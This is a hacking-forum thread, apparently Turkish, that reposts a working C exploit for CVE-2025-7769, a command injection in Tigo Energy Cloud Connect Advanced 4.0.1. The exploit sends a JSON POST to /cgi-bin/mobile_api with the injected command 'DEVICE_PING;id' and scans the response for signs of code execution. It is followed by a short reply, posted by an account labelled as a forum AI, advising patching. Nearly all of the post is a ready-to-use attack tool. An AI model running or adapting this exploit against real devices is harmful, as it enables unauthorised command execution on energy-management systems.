Hoşgeldin Misafir

Tigo Energy Cloud Connect Advanced (CCA) 4.0.1 - Command Injection

greenbone

4 Eyl 2022
2,020 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Kod:
/*
 * Title           : Tigo Energy Cloud Connect Advanced (CCA) 4.0.1 - Command Injection
 * Author       : Byte Reaper
 * CVE          : CVE-2025-7769
 */


#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "argparse.h"
#include <time.h>
#include <arpa/inet.h>
#include <curl/curl.h>
#define FULL_URL  2500
#define POST_PAYLOAD   5500


const char *baseurl = NULL;
const char *cookies = NULL;
const char *ip = NULL;
const char *caFile = NULL;
int caS = 0;
const char *nameFileC = NULL;
int port = 0;
int uC  =0;
int verbose = 0;


void exitSyscall()
{
    __asm__ volatile
    (
        "mov $0x3C, %%rax\n\t"
        "xor %%rdi, %%rdi\n\t"
        "syscall\n\t"
        :
        :
        :"rax",
         "rdi"
    );
}

int checkLen(int len, char *buf, size_t bufcap)
{
    if (len < 0 || (size_t)len >= bufcap)
    {
        printf("\e[0;31m[-] Len is Long ! \e[0m\n");
        printf("\e[0;31m[-] Len %d\e[0m\n", len);
        exitSyscall();
        return 1;
    }
    else
    {
        printf("\e[0;34m[+] Len Is Not Long (%d).\e[0m\n",len);
        return 0;

    }
    return 0;
}
void nanoSleep(void)
{
    struct timespec ob;
    ob.tv_sec = 0;
    ob.tv_nsec = 500 * 1000 * 1000;

    __asm__ volatile
    (
    "mov $230, %%rax\n\t"
    "mov $1, %%rdi\n\t"
    "xor %%rsi, %%rsi\n\t"
    "mov %0, %%rdx\n\t"
    "xor %%r10, %%r10\n\t"
    "syscall\n\t"
    :
    : "r"(&ob)
    : "rax",
      "rdi",
      "rsi",
      "rdx",
      "r10",
      "memory"
    );
}
struct Mem
{
    char *buffer;
    size_t len;
};
size_t write_cb(void *ptr,
                size_t size,
                size_t nmemb,
                void *userdata)
{
    size_t total = size * nmemb;
    struct Mem *m = (struct Mem *)userdata;
    char *tmp = realloc(m->buffer, m->len + total + 1);
    if (tmp == NULL)
    {
        fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n");
        exitSyscall();
    }
    m->buffer = tmp;
    memcpy(&(m->buffer[m->len]), ptr, total);
    m->len += total;
    m->buffer[m->len] = '\0';
    return total;
}
const char *wordInjection[] =
{
    //Result ID
    "admin",
    "root",
    "groups=0",
    "gid=0",
    "uid=1000",
    "gid=1000",
    "groups=1000",
    "bluetooth",
    //Result ls
    ".txt",
    ".py",
    ".php",
    ".sh",
    ".js",
    //Result pwd
    "home",
    "Documents",
    "Desktop",
    "Downloads",
    "Public",
    "Videos",
    NULL
};
void postRequest(const char *baseurl, const char *ip, int port)
{
    char full[FULL_URL];
    CURL *curl = curl_easy_init();
    CURLcode res;
    
    if (curl == NULL)
    {
        printf("\e[0;31m[-] Error Create Object CURL !\e[0m\n");
        printf("\e[0;31m[-] Check Connection ...\e[0m\n" );
        const char *googleIp = "142.251.37.46";
        printf("\e[0;31m[-] Ping Command (ip = %s)\e[0m\n", googleIp);
        const char *cP = "/bin/ping";
            const char *av[]      = {
                            "ping",
                            "-c",
                            "5",
                            "google.com",
                            NULL
                        };
        const char *ep[] =
                {
                    NULL
                };
        __asm__ volatile
        (
            "MOV $59, %%rax\n\t"
            "MOV %[cmd], %%rdi\n\t"
            "MOV %[argv], %%rsi\n\t"
            "MOV %[envp], %%rdx\n\t"
            "syscall\n\t"
            ".1:\n\t"
            "MOV $0x3C, %%rax\n\t"
            "XOR %%rdi, %%rdi\n\t"
            "syscall\n\t"
            :
            : [cmd] "r" (cP),
              [argv] "r" (av),
              [envp] "r"(ep)
             :"rax",
              "rdi",
              "rsi",
              "rdx"
        );
    }
    if (port != 0)
    {
        goto ipPT;
    }
    printf("\e[0;31m[-] Port Not Select.\n");
    if (ip)
    {
        unsigned  long ipformat ;
        ipformat = inet_addr(ip);
        if (ipformat == INADDR_NONE || ipformat == -1)
        {
            printf("\e[0;31m[-] Invalid IP address string.\e[0m\n");
            exitSyscall();
        }
        int lenIp = snprintf(full, sizeof(full),
                        "http://%s/cgi-bin/mobile_api",
                        ip);
            if (checkLen(lenIp,full, sizeof(full)) == 1)
        {
            printf("\e[0;31m[-] Len FUll URL (IP) Is Long !\e[0m\n");
            printf("\e[0;31m[-] Len : %d\n",lenIp);
            exitSyscall();
        }
        goto done;
        ipPT:
        
            printf("\e[0;36m[+] PORT : %d\e[0m\n", port);
            int lenIpPT = snprintf(full, sizeof(full),
                        "http://%s:%d/cgi-bin/mobile_api",
                        ip,
                        port);
            if (checkLen(lenIpPT,full, sizeof(full)) == 1)
            {
                printf("\e[0;31m[-] Len FUll URL (IP And Port) Is Long !\e[0m\n");
                printf("\e[0;31m[-] Len : %d\e[0m\n",lenIpPT);
                exitSyscall();
            }
        
        
        
    }
    else if (baseurl != NULL)
    {
        int lenUrl = snprintf(full, sizeof(full), "%s/cgi-bin/mobile_api", baseurl);
        if (checkLen(lenUrl,full, sizeof(full)) == 1)
        {
            printf("\e[0;31m[-] Len FUll URL (URL and EndPoint) Is Long !\e[0m\n");
            printf("\e[0;31m[-] Len : %d\e[0m\n",lenUrl);
            exitSyscall();
        }
        
    }
    printf("\e[0;36m[+] Final Full URL Format : %s\e[0m\n", full);
    printf("\e[0;36m[+] Preparation POST Payload...\e[0m\n");
    printf("\e[0;36m[+] Command Payload Injection (cmd = id)\e[0m\n");
    char post[POST_PAYLOAD];
    
    snprintf(post,
            sizeof(post),
            "{\n\t\"cmd\": \"DEVICE_PING;id\",\n\t\"dev\": 2,\n\t\"ver\": 1 \n}");
    printf("\e[0;34m[+] POST DATA : \n%s\n", post);

    struct Mem rS;
    rS.buffer = NULL;
    rS.len = 0;
    done :
        if (curl)
        {
            curl_easy_setopt(curl, CURLOPT_URL, full);

            if (uC)
            {
                curl_easy_setopt(curl,
                             CURLOPT_COOKIEFILE,
                             cookies);
                curl_easy_setopt(curl,
                             CURLOPT_COOKIEJAR,
                             cookies);

            }
            curl_easy_setopt(curl,
                CURLOPT_POST,
                1L);
            curl_easy_setopt(curl,
                CURLOPT_POSTFIELDS,
                post);
            curl_easy_setopt(curl,
                CURLOPT_POSTFIELDSIZE,
                (long)strlen(post));

            curl_easy_setopt(curl,
                         CURLOPT_ACCEPT_ENCODING,
                         "");
            curl_easy_setopt(curl,
                         CURLOPT_FOLLOWLOCATION,
                         1L);
            curl_easy_setopt(curl,
                         CURLOPT_WRITEFUNCTION,
                         write_cb);
            curl_easy_setopt(curl,
                         CURLOPT_WRITEDATA,
                         &rS);
            curl_easy_setopt(curl,
                         CURLOPT_CONNECTTIMEOUT,
                         5L);
            nanoSleep();
            curl_easy_setopt(curl,
                         CURLOPT_TIMEOUT,
                         10L);
            if (caS)
            {
                curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 2L);
                curl_easy_setopt(curl, CURLOPT_CAINFO, caFile);

            }                 
            else
            {
                curl_easy_setopt(curl,
                         CURLOPT_SSL_VERIFYPEER,
                         0L);
                curl_easy_setopt(curl,
                         CURLOPT_SSL_VERIFYHOST,
                         0L);
            }
        
            if (verbose)
            {
                printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
                curl_easy_setopt(curl,
                             CURLOPT_VERBOSE,
                             1L);
            }
            struct curl_slist *headers = NULL;
            headers = curl_slist_append(headers,
                              "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0)");
            headers = curl_slist_append(headers,
                              "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
            if (ip)
            {
                char headerHost[150];
                int lenH = snprintf(headerHost, sizeof(headerHost), "Host: %s", ip);
                if (checkLen(lenH,headerHost, sizeof(headerHost)) == 1)
                {
                    printf("\e[0;31m[-] Header Host Is Long Please Check Size IP !\e[0m\n");
                    printf("\e[0;31m[-] Len : %d\e[0m\n", lenH);
                    exitSyscall();
                }
                else
                {
                    printf("\e[0;34m[+] Header Host Create Successfully.\e[0m\n");
                    if (verbose)
                    {
                        printf("\e[0;34m[+] Header Host : %s\e[0m\n",headerHost);
                    }
                    headers = curl_slist_append(headers,
                              headerHost);
                    
                }
            }
            headers = curl_slist_append(headers,
                              "Accept-Encoding: gzip, deflate, br");
            headers = curl_slist_append(headers,
                              "Accept-Language: en-US,en;q=0.5");
            headers = curl_slist_append(headers,
                              "Connection: keep-alive");
            headers = curl_slist_append(headers,
                              "Upgrade-Insecure-Requests: 1");
            headers = curl_slist_append(headers, "Content-Type: application/json");

            headers = curl_slist_append(headers,
                              "Cache-Control: max-age=0");
            curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
            res = curl_easy_perform(curl);
            curl_slist_free_all(headers);
            long hC = 0;
            if (res == CURLE_OK)
            {
                printf("\e[0;36m[+] Request sent successfully\e[0m\n");
                if (rS.len != 0)
                {
                    printf("\e[0;32m[+] Response Len : %d\e[0m\n", rS.len);
                }
                else
                {
                    printf("\e[0;31m[-] Response Len IS (0)\e[0m\n");
                }
                
                curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE,
                              &hC);
                        printf("\e[0;32m[+] Http Code : %ld\e[0m\n", hC);
                        if (verbose)
                {
                    if (rS.buffer)
                    {
                        printf("\e[0;35m\n======================================== [RESPONSE] ========================================\e[0m\n");
                        printf("%s\n", rS.buffer);
                        printf("\e[0;32m[Len] : %zu\e[0m\n", rS.len);
                        printf("\e[0;35m\n=============================================================================================\e[0m\n");
                    }
                }
                        if (hC >= 200 && hC < 300)
                        {
                                 int s = 0;
                             for (int j = 0; wordInjection[j] != NULL; j++)
                         {
                            if (strstr(rS.buffer, wordInjection[j]) != NULL)
                            {
                                printf("[+] Word Found : %s\n", wordInjection[j]);
                                if (rS.buffer != NULL)
                                {
                                
                                    printf("\e[0;35m     ============================================= [RESPONSE] =============================================\e[0m\n");
                                    printf("\n%s\n",rS.buffer);
                                    printf("\e[0;35m     ======================================================================================================\e[0m\n");
                                }
                                else
                                {
                                if (verbose)
                                {
                                    printf("\e[0;31m[-] Word Not Found  : %s\e[0m\n", wordInjection[j]);
                                }
                                if (s)
                                {
                                    printf("\e[0;31m[-] Not found Word Command Injection In Response !\e[0m\n");
                                }
                        
                                }
                            }
                         }
                        
                        }
                        else
                        {
                            printf("\e[0;31m[-] http Code Not Range (%ld)\e[0m\n", hC);
                        }   
            }
            else
            {
                printf("\e[0;31m[-] The request was not sent !\e[0m\n");
                printf("\e[0;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res));
                exitSyscall();

            }
            
            
        }
        curl_easy_cleanup(curl);
            if (rS.buffer)
            {
            free(rS.buffer);
            rS.buffer = NULL;
            rS.len = 0;
            }
        
}

int main(int argc, const char **argv)
{
    printf(
           "\e[0;31m"
       "       ░██████  ░██    ░██ ░██████████          ░██████    ░████    ░██████  ░████████         ░█████████ ░█████████  ░██████   ░██████          \n"
       "    ░██   ░██ ░██    ░██ ░██                 ░██   ░██  ░██ ░██  ░██   ░██ ░██               ░██    ░██ ░██    ░██ ░██   ░██ ░██   ░██        \n"
       "    ░██        ░██    ░██ ░██                       ░██ ░██ ░████       ░██ ░███████                ░██        ░██  ░██       ░██   ░██       \n"
       "    ░██        ░██    ░██ ░█████████  ░██████   ░█████  ░██░██░██   ░█████        ░██ ░██████      ░██        ░██   ░███████   ░███████       \n"
       "    ░██         ░██  ░██  ░██                  ░██      ░████ ░██  ░██      ░██   ░██             ░██        ░██    ░██   ░██       ░██      \n "
       "    ░██   ░██   ░██░██   ░██                 ░██        ░██ ░██  ░██       ░██   ░██             ░██        ░██    ░██   ░██ ░██   ░██        \n"
       "    ░██████     ░███    ░██████████         ░████████   ░████   ░████████  ░██████              ░██        ░██     ░██████   ░██████          \n"
                                                                                                 "\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\e[0;37mByte Reaper\n\e[0m"                                   
                                                                                                                                    
                                                                                                                          
    
    );
    printf("\e[0;31m---------------------------------------------------------------------------------------------------------------------------------------------------------\e[0m\n");
    curl_global_init(CURL_GLOBAL_DEFAULT);

    struct argparse_option options[] =
    {
        OPT_HELP(),
               OPT_STRING('u',
                          "url",
                          &baseurl,
                          "Enter Target Url (http://<TARGET>)"),
               OPT_STRING('c',
                          "cookies",
                          &nameFileC,
                          "Enter File cookies"),

        OPT_STRING('i',
                   "ip",
                   &ip,
                   "Target IP ADDRESS"),
        OPT_INTEGER('p',
                    "port",
                    &port,
                    "Target PORT"),
        OPT_STRING('a',
                          "ca",
                          &caFile,
                          "CA FILE"),         
        OPT_BOOLEAN('v',
                    "verbose",
                    &verbose,
                    "Verbose Mode"),
                    OPT_END(),
    };
    struct argparse argparse;
    argparse_init(&argparse,
                  options,
                  NULL,
                  0);

    argparse_parse(&argparse,
                   argc,
                   argv);
    if (!baseurl && !ip)
    {
        printf("\e[0;31m-] Please Enter target Url OR target IP !\e[0m\n");
        printf("\e[0;31m[-] Example : ./CVE-2025-7769 -u http://<TARGET> OR -i <IP>\e[0m\n");
        exitSyscall();
    }
    if (nameFileC)
    {
        uC = 1;
    }
    if (verbose)
    {
        verbose = 1;
    }
    if (!port)
    {
        port  = 0;
    }
    if (port && baseurl)
    {
        printf("\e[0;31m[-] Please Enter Base URL !\e[0m\n");
        exitSyscall();
        
    }
    if (caFile)
    {
        caS = 1;
    }
    postRequest(baseurl, ip, port);
    curl_global_cleanup();
    return 0;

}
 

THS-AI

THS-AI

THS YAPAY ZEKA
Turkhacks Kurumsal
20 Haz 2025
11,255 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Tigo Energy Cloud Connect Advanced (CCA) 4.0.1'deki komut enjeksiyonu açığını gidermek için, en güncel sürüme yükseltin ve güvenlik yamalarını uygulayın. Ayrıca, yetkisiz erişim ve giriş kontrollerini sıkılaştırın.